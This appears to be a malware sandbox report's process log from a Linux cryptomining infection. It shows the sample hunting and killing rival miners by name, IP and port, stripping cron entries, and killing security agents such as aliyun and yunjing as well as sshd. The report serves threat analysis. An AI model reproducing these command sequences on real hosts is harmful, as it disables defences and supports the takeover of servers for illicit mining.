/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1441
-
-
/bin/grepgrep exe2⤵PID:1444
-
-
/bin/lsls -latrh /proc/swaps2⤵PID:1443
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1446
-
-
/bin/grepgrep exe2⤵PID:1449
-
-
/bin/lsls -latrh /proc/sys2⤵PID:1448
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1451
-
-
/bin/grepgrep exe2⤵PID:1454
-
-
/bin/lsls -latrh /proc/sysrq-trigger2⤵PID:1453
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1456
-
-
/bin/grepgrep exe2⤵PID:1459
-
-
/bin/lsls -latrh /proc/sysvipc2⤵
- System Network Configuration Discovery
PID:1458
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1461
-
-
/bin/grepgrep exe2⤵PID:1464
-
-
/bin/lsls -latrh /proc/thread-self2⤵PID:1463
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1466
-
-
/bin/grepgrep exe2⤵PID:1469
-
-
/bin/lsls -latrh /proc/timer_list2⤵PID:1468
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1471
-
-
/bin/grepgrep exe2⤵PID:1474
-
-
/bin/lsls -latrh /proc/tty2⤵PID:1473
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1476
-
-
/bin/grepgrep exe2⤵PID:1479
-
-
/bin/lsls -latrh /proc/uptime2⤵PID:1478
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1481
-
-
/bin/grepgrep exe2⤵PID:1484
-
-
/bin/lsls -latrh /proc/version2⤵PID:1483
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1486
-
-
/bin/grepgrep exe2⤵PID:1489
-
-
/bin/lsls -latrh /proc/vmallocinfo2⤵PID:1488
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1491
-
-
/bin/grepgrep exe2⤵PID:1494
-
-
/bin/lsls -latrh /proc/vmstat2⤵PID:1493
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1496
-
-
/bin/grepgrep exe2⤵PID:1499
-
-
/bin/lsls -latrh /proc/zoneinfo2⤵PID:1498
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1501
-
-
/bin/grepgrep /dot2⤵PID:1503
-
-
/bin/grepgrep -v grep2⤵PID:1504
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1502
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1505
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1506
-
-
/usr/bin/pkillpkill -f hezb2⤵
- Reads runtime system information
PID:1507
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1512
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1511
-
-
/bin/grepgrep -v grep2⤵PID:1510
-
-
/bin/grepgrep tracepath2⤵PID:1509
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
PID:1508
-
-
/usr/bin/pkillpkill -f /tmp/.out2⤵
- Reads CPU attributes
PID:1513
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1518
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1517
-
-
/bin/grepgrep -v grep2⤵PID:1516
-
-
/bin/grepgrep ./ll12⤵PID:1515
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1514
-
-
/bin/grepgrep -i "[a]liyun"2⤵
- Attempts to change immutable files
PID:1520
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1519
-
-
/bin/grepgrep -i "[y]unjing"2⤵PID:1522
-
-
/bin/psps aux2⤵PID:1521
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1527
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1526
-
-
/bin/grepgrep -v grep2⤵PID:1525
-
-
/bin/grepgrep "php-fpm pool www"2⤵PID:1524
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1523
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1532
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1531
-
-
/bin/grepgrep -v grep2⤵PID:1530
-
-
/bin/grepgrep "Cli start accept"2⤵PID:1529
-
-
/bin/psps aux2⤵
- Process Discovery
PID:1528
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1537
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1536
-
-
/bin/grepgrep -v grep2⤵PID:1535
-
-
/bin/grepgrep "bash -k"2⤵PID:1534
-
-
/bin/psps aux2⤵PID:1533
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1542
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1541
-
-
/bin/grepgrep -v grep2⤵PID:1540
-
-
/bin/grepgrep perfctl2⤵PID:1539
-
-
/bin/psps aux2⤵PID:1538
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1547
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1546
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1545
-
-
/bin/grepgrep 185.71.65.2382⤵PID:1544
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1552
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1551
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1550
-
-
/bin/grepgrep 140.82.52.872⤵PID:1549
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1558
-
-
/bin/grepgrep -v -2⤵PID:1557
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1556
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1555
-
-
/bin/grepgrep 207.38.87.62⤵PID:1554
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1564
-
-
/bin/grepgrep -v -2⤵PID:1563
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1562
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1561
-
-
/bin/grepgrep 23.94.214.1192⤵PID:1560
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1570
-
-
/bin/grepgrep -v -2⤵PID:1569
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1568
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1567
-
-
/bin/grepgrep 34.81.218.76:94862⤵PID:1566
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1576
-
-
/bin/grepgrep -v -2⤵PID:1575
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1574
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1573
-
-
/bin/grepgrep 42.112.28.216:94862⤵PID:1572
-
-
/usr/bin/pkillpkill -f .git/kthreaddw2⤵
- Reads CPU attributes
PID:1577
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1582
-
-
/usr/bin/awkawk "{if(\$3>80.0) print \$2}"2⤵PID:1581
-
-
/bin/grepgrep -v grep2⤵PID:1580
-
-
/bin/grepgrep agetty2⤵PID:1579
-
-
/bin/psps aux2⤵PID:1578
-
-
/usr/bin/pkillpkill -f 42.112.28.2162⤵PID:1583
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1586
-
-
/bin/sedsed /192.81.212.13/d2⤵PID:1585
-
-
/usr/bin/crontabcrontab -l2⤵PID:1584
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1589
-
-
/bin/sedsed /base64/d2⤵PID:1588
-
-
/usr/bin/crontabcrontab -l2⤵PID:1587
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1592
-
-
/bin/sedsed /python/d2⤵PID:1591
-
-
/usr/bin/crontabcrontab -l2⤵PID:1590
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1595
-
-
/bin/sedsed /shm/d2⤵PID:1594
-
-
/usr/bin/crontabcrontab -l2⤵PID:1593
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1598
-
-
/bin/sedsed /postgresql/d2⤵PID:1597
-
-
/usr/bin/crontabcrontab -l2⤵PID:1596
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1601
-
-
/bin/sedsed /cloudfronts/d2⤵PID:1600
-
-
/usr/bin/crontabcrontab -l2⤵PID:1599
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1604
-
-
/bin/sedsed /sshd/d2⤵PID:1603
-
-
/usr/bin/crontabcrontab -l2⤵PID:1602
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1607
-
-
/bin/sedsed /linux/d2⤵PID:1606
-
-
/usr/bin/crontabcrontab -l2⤵PID:1605
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1610
-
-
/bin/sedsed /neoogilvy/d2⤵PID:1609
-
-
/usr/bin/crontabcrontab -l2⤵PID:1608
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1613
-
-
/bin/sedsed /rsync/d2⤵PID:1612
-
-
/usr/bin/crontabcrontab -l2⤵PID:1611
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1616
-
-
/bin/sedsed /bpdeliver/d2⤵PID:1615
-
-
/usr/bin/crontabcrontab -l2⤵PID:1614
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1619
-
-
/bin/sedsed /perfcc/d2⤵PID:1618
-
-
/usr/bin/crontabcrontab -l2⤵PID:1617
-
-
/usr/bin/pkillpkill -f sshd2⤵PID:1620
-
-
/usr/bin/pkillpkill -f htop2⤵PID:1621
-
-
/usr/bin/pkillpkill -f linuxsys2⤵PID:1623
-
-
/usr/bin/pkillpkill -f kthreaddo2⤵
- Reads runtime system information
PID:1624
-
-
/usr/bin/pkillpkill -f donkey2⤵
- Reads runtime system information
PID:1625
-
-
/usr/bin/pkillpkill -f sysupdater2⤵PID:1626
-
-
/usr/bin/pkillpkill -f php-update.service2⤵PID:1627
-
-
/usr/bin/pkillpkill -f update-setup2⤵PID:1628
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1634
-
-
/bin/grepgrep -v -2⤵PID:1633
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1632
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1631
-
-
/bin/grepgrep :14142⤵PID:1630
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1640
-
-
/bin/grepgrep -v -2⤵PID:1639
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1638
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1637
-
-
/bin/grepgrep 127.0.0.1:520182⤵PID:1636
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1646
-
-
/bin/grepgrep -v -2⤵PID:1645
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1644
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1643
-
-
/bin/grepgrep :1432⤵PID:1642
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1652
-
-
/bin/grepgrep -v -2⤵PID:1651
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1650
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1649
-
-
/bin/grepgrep :22222⤵PID:1648
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1658
-
-
/bin/grepgrep -v -2⤵PID:1657
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1656
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1655
-
-
/bin/grepgrep :33332⤵PID:1654
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1664
-
-
/bin/grepgrep -v -2⤵PID:1663
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1662
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1661
-
-
/bin/grepgrep :33892⤵PID:1660
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1670
-
-
/bin/grepgrep -v -2⤵PID:1669
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1668
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1667
-
-
/bin/grepgrep :44442⤵PID:1666
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1676
-
-
/bin/grepgrep -v -2⤵PID:1675
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1674
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1673
-
-
/bin/grepgrep :55552⤵PID:1672
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1682
-
-
/bin/grepgrep -v -2⤵PID:1681
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1680
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1679
-
-
/bin/grepgrep :66662⤵PID:1678
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1688
-
-
/bin/grepgrep -v -2⤵PID:1687
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1686
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1685
-
-
/bin/grepgrep :66652⤵PID:1684
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1694
-
-
/bin/grepgrep -v -2⤵PID:1693
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1692
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1691
-
-
/bin/grepgrep :66672⤵PID:1690
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1700
-
-
/bin/grepgrep -v -2⤵PID:1699
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1698
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1697
-
-
/bin/grepgrep :77772⤵PID:1696
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1706
-
-
/bin/grepgrep -v -2⤵PID:1705
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1704
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1703
-
-
/bin/grepgrep :84442⤵PID:1702
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1712
-
-
/bin/grepgrep -v -2⤵PID:1711
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1710
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1709
-
-
/bin/grepgrep :33472⤵PID:1708
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1718
-
-
/bin/grepgrep -v -2⤵PID:1717
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1716
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1715
-
-
/bin/grepgrep :144442⤵PID:1714
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1724
-
-
/bin/grepgrep -v -2⤵PID:1723
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1722
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1721
-
-
/bin/grepgrep :144332⤵PID:1720
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1730
-
-
/bin/grepgrep -v -2⤵PID:1729
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1728
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1727
-
-
/bin/grepgrep :135312⤵PID:1726
-
-
/bin/sedsed -i "s/^0//" /tmp/.X11-unix/012⤵PID:1731
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1733
-
-
/bin/catcat /tmp/.X11-unix/012⤵PID:1732
-
-
/bin/sedsed -i "s/^0//" /tmp/.X11-unix/112⤵PID:1734
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1736
-
-
/bin/catcat /tmp/.X11-unix/112⤵PID:1735
-
-
/bin/sedsed -i "s/^0//" /tmp/.X11-unix/222⤵PID:1737
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1739
-
-
/bin/catcat /tmp/.X11-unix/222⤵PID:1738
-
-
/bin/sedsed -i "s/^0//" /tmp/.systemd.12⤵PID:1740
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1742
-
-
/bin/catcat /tmp/.systemd.12⤵PID:1741
-
-
/bin/sedsed -i "s/^0//" /tmp/.systemd.22⤵PID:1743
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1745
-
-
/bin/catcat /tmp/.systemd.22⤵PID:1744
-
-
/bin/sedsed -i "s/^0//" /tmp/.systemd.32⤵
- Attempts to change immutable files
PID:1746
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1748
-
-
/bin/catcat /tmp/.systemd.32⤵PID:1747
-
-
/bin/catcat /tmp/.systemd.12⤵PID:1749
-
-
/bin/catcat /tmp/.systemd.22⤵PID:1750
-
-
/bin/catcat /tmp/.systemd.32⤵PID:1751
-
-
/bin/sedsed -i "s/^0//" /tmp/.pg_stat.02⤵PID:1752
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1754
-
-
/bin/catcat /tmp/.pg_stat.02⤵PID:1753
-
-
/bin/sedsed -i "s/^0//" /tmp/.pg_stat.12⤵PID:1755
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1757
-
-
/bin/catcat /tmp/.pg_stat.12⤵PID:1756
-
-
/bin/sedsed -i "s/^0//" /data/./oka.pid2⤵PID:1758
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1760
-
-
/bin/catcat /data/./oka.pid2⤵PID:1759
-
-
/usr/bin/pkillpkill -f 80.211.206.1052⤵PID:1761
-
-
/usr/bin/pkillpkill -f 207.38.87.62⤵PID:1762
-
-
/usr/bin/pkillpkill -f p84442⤵PID:1763
-
-
/usr/bin/pkillpkill -f supportxmr2⤵PID:1764
-
-
/usr/bin/pkillpkill -f monero2⤵
- Reads runtime system information
PID:1765
-
-
/usr/bin/pkillpkill -f zsvc2⤵
- Reads runtime system information
PID:1766
-
-
/usr/bin/pkillpkill -f pdefenderd2⤵
- Reads runtime system information
PID:1767
-
-
/usr/bin/pkillpkill -f updatecheckerd2⤵PID:1768
-
-
/usr/bin/pkillpkill -f cruner2⤵
- Reads runtime system information
PID:1769
-
-
/usr/bin/pkillpkill -f dbused2⤵
- Reads CPU attributes
PID:1770
-
-
/usr/bin/pkillpkill -f bashirc2⤵PID:1771
-
-
/usr/bin/pkillpkill -f meminitsrv2⤵PID:1772
-
-
/usr/bin/pkillpkill -f kthreaddi2⤵PID:1773
-
-
/usr/bin/pkillpkill -f srv002⤵PID:1774
-
-
/usr/bin/pkillpkill -f /tmp/.javae/javae2⤵PID:1775
-
-
/usr/bin/pkillpkill -f .javae2⤵PID:1776
-
-
/usr/bin/pkillpkill -f .syna2⤵PID:1777
-
-
/usr/bin/pkillpkill -f .main2⤵PID:1778
-
-
/usr/bin/pkillpkill -f xmm2⤵PID:1779
-
-
/usr/bin/pkillpkill -f solr.sh2⤵
- Reads CPU attributes
PID:1780
-
-
/usr/bin/pkillpkill -f /tmp/.solr/solrd2⤵PID:1781
-
-
/usr/bin/pkillpkill -f /tmp/javac2⤵PID:1782
-
-
/usr/bin/pkillpkill -f /tmp/.go.sh2⤵
- Reads CPU attributes
PID:1783
-
-
/usr/bin/pkillpkill -f /tmp/.x/agetty2⤵
- Reads runtime system information
PID:1784
-
-
/usr/bin/pkillpkill -f /tmp/.x/kworker2⤵PID:1785
-
-
/usr/bin/pkillpkill -f c3pool2⤵PID:1786
-
-
/usr/bin/pkillpkill -f /tmp/.X11-unix/gitag-ssh2⤵PID:1787
-
-
/usr/bin/pkillpkill -f /tmp/12⤵PID:1788
-
-
/usr/bin/pkillpkill -f /tmp/okk.sh2⤵PID:1789
-
-
/usr/bin/pkillpkill -f /tmp/gitaly2⤵PID:1790
-
-
/usr/bin/pkillpkill -f /tmp/.x/kworker2⤵PID:1791
-
-
/usr/bin/pkillpkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB2⤵PID:1792
-
-
/usr/bin/pkillpkill -f /tmp/.X11-unix/supervise2⤵PID:1793
-
-
/usr/bin/pkillpkill -f /tmp/.ssh/redis.sh2⤵PID:1794
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1799
-
-
